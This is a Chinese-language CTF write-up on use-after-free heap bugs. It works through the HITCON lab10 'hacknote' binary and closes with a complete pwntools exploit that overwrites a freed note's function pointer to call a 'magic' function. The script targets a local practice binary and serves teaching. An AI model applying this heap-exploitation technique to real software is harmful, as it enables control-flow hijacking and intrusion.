UAF原理:
UAF就是Use After Free,顧名思義,就是在一個(gè)堆被釋放后再次被使用,一般來說有三種情況:
- 堆被釋放后,對(duì)應(yīng)的指針被設(shè)置為null,這時(shí)再使用它程序就會(huì)崩潰
- 堆被釋放后,對(duì)應(yīng)的指針沒有被設(shè)置為null,在它下次被使用之前沒有代碼對(duì)這塊堆進(jìn)行修改,那么程序有可能可以正常運(yùn)行
- 堆被釋放后,其對(duì)應(yīng)的指針沒有被設(shè)置為null,但是它在下次使用前,有代碼對(duì)這塊堆進(jìn)行了修改,當(dāng)程序再次使用這個(gè)堆內(nèi)存時(shí),就可能會(huì)出現(xiàn)奇怪的問題
一般的 UAF漏洞指的是后兩種情況,我們可以利用的也只有后面兩種情況
UAF漏洞利用過程:
- 申請(qǐng)一段空間,并將其釋放,釋放后的指針不清空,將這個(gè)指針簡(jiǎn)稱為p1
- 申請(qǐng)空間p2, 由于malloc分配過程原則,使得p2指向剛剛釋放的p1的空間,構(gòu)造特殊的數(shù)據(jù)將這段內(nèi)存空間覆蓋
- 利用p1,一般會(huì)多出一個(gè)函數(shù)的指針,由于之前已經(jīng)使用p2將p1的數(shù)據(jù)給覆蓋了,所以此時(shí)p1上的數(shù)據(jù)是我們可以控制的,就存在劫持函數(shù)流的可能
下面拿HITCON的lab10做例子
程序是32的一個(gè)菜單程序
有4個(gè)選項(xiàng): add,delete,print ,exit

查看ida反編譯代碼:

print_note_content是puts函數(shù)的一個(gè)指針:

程序創(chuàng)建note的時(shí)候,會(huì)先分配8byte的空間來存放print_note_content和content的指針,然后根據(jù)輸入的size的大小分配空間給content
示意圖如下:

print_note函數(shù):

delete函數(shù):

可以發(fā)現(xiàn)它只是free了內(nèi)存,但是并沒有清空,很顯然,這里存在Use After Free的情況
假設(shè)我們執(zhí)行程序如下:
def create(size,content)
create(16,'aa')
create(16,'bb')
delete(0)
delete(1)
則程序中會(huì)分配4個(gè)堆塊

free掉后因?yàn)樗鼈兊拇笮∥挥趂astbin,所以會(huì)被放到fastbin中

此時(shí)如果我們?cè)偕暾?qǐng)一個(gè)note2,大小為0x8的話,根據(jù)malloc的分配原則 ,它會(huì)將最近free的堆塊優(yōu)先分配,它先會(huì)給note分配8個(gè)字節(jié)的空間來存放指針,這個(gè)堆塊是note1free后的堆塊,接著它會(huì)將note0存放指針的堆塊分配給note2的content,這個(gè)時(shí)候如果我們將note0的指針覆蓋成別的函數(shù)地址,再通過print_note調(diào)用的話就可以劫持函數(shù)執(zhí)行流了

所以解題思路:
- 先create兩個(gè)note,content size大小不為0x8就行了
- 然后將這兩個(gè)note delete掉
- 再創(chuàng)建一個(gè)note2,大小為0x8,content內(nèi)容為magic函數(shù)
- 調(diào)用print_note執(zhí)行打印note0的內(nèi)容,就可以執(zhí)行magic函數(shù)了
附上exp:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = "debug"
p = process('./hacknote')
elf = ELF('./hacknote')
magic = 0x08048986
def create(size,content):
p.recvuntil(":")
p.sendline(str(1))
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.send(content)
def delete(idx):
p.recvuntil(":")
p.send(str(2))
p.recvuntil(":")
p.sendline(str(idx))
def print_note(idx):
p.recvuntil(":")
p.sendline(str(3))
p.recvuntil(":")
p.sendline(str(idx))
create(16,'aa')
create(16,'bb')
delete(0)
delete(1)
create(8,p32(magic))
print_note(0)
p.interactive()